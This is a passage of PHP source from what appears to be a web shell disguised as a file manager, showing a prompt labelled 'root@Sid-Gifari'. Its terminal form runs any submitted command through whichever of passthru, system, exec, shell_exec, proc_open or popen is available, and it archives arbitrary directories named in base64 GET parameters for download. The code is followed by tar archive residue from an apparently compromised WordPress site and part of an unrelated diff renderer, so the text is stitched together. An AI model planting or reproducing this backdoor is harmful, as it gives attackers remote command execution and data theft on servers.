            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     <?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     <?php } ?>
                    
		     </td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>


<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                       inline.php.tar                                                                                      0000644                 00000016000 15217301621 0007313 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       home/laratrends/public_html/wp-includes/Text/Diff/Renderer/inline.php                               0000644                 00000012630 15217274171 0021731 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * "Inline" diff renderer.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */

/** Text_Diff_Renderer */

// WP #7391
require_once dirname(dirname(__FILE__)) . '/Renderer.php';

/**
 * "Inline" diff renderer.
 *
 * This class renders diffs in the Wiki-style "inline" format.
 *
 * @author  Ciprian Popovici
 * @package Text_Diff
 */
class Text_Diff_Renderer_inline extends Text_Diff_Renderer {

    /**
     * Number of leading context "lines" to preserve.
     *
     * @var integer
     */
    var $_leading_context_lines = 10000;

    /**
     * Number of trailing context "lines" to preserve.
     *
     * @var integer
     */
    var $_trailing_context_lines = 10000;

    /**
     * Prefix for inserted text.
     *
     * @var string
     */
    var $_ins_prefix = '<ins>';

    /**
     * Suffix for inserted text.
     *
     * @var string
     */
    var $_ins_suffix = '</ins>';

    /**
     * Prefix for deleted text.
     *
     * @var string
     */
    var $_del_prefix = '<del>';

    /**
     * Suffix for deleted text.
     *
     * @var string
     */
    var $_del_suffix = '</del>';

    /**
     * Header for each change block.
     *
     * @var string
     */
    var $_block_header = '';

    /**
     * Whether to split down to character-level.
     *
     * @var boolean
     */
    var $_split_characters = false;

    /**
     * What are we currently splitting on? Used to recurse to show word-level
     * or character-level changes.
     *
     * @var string
     */
    var $_split_level = 'lines';

    function _blockHeader($xbeg, $xlen, $ybeg, $ylen)
    {
        return $this->_block_header;
    }

    function _startBlock($header)
    {
        return $header;
    }

    function _lines($lines, $prefix = ' ', $encode = true)
    {
        if ($encode) {
            array_walk($lines, array(&$this, '_encode'));
        }

        if ($this->_split_level == 'lines') {
            return implode("\n", $lines) . "\n";
        } else {
            return implode('', $lines);
        }
    }

    function _added($lines)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_ins_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_ins_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _deleted($lines, $words = false)
    {
        array_walk($lines, array(&$this, '_encode'));
        $lines[0] = $this->_del_prefix . $lines[0];
        $lines[count($lines) - 1] .= $this->_del_suffix;
        return $this->_lines($lines, ' ', false);
    }

    function _changed($orig, $final)
    {
        /* If we've already split on characters, just display. */
        if ($this->_split_level == 'characters') {
            return $this->_deleted($orig)
                . $this->_added($final);
        }

        /* If we've already split on words, just display. */
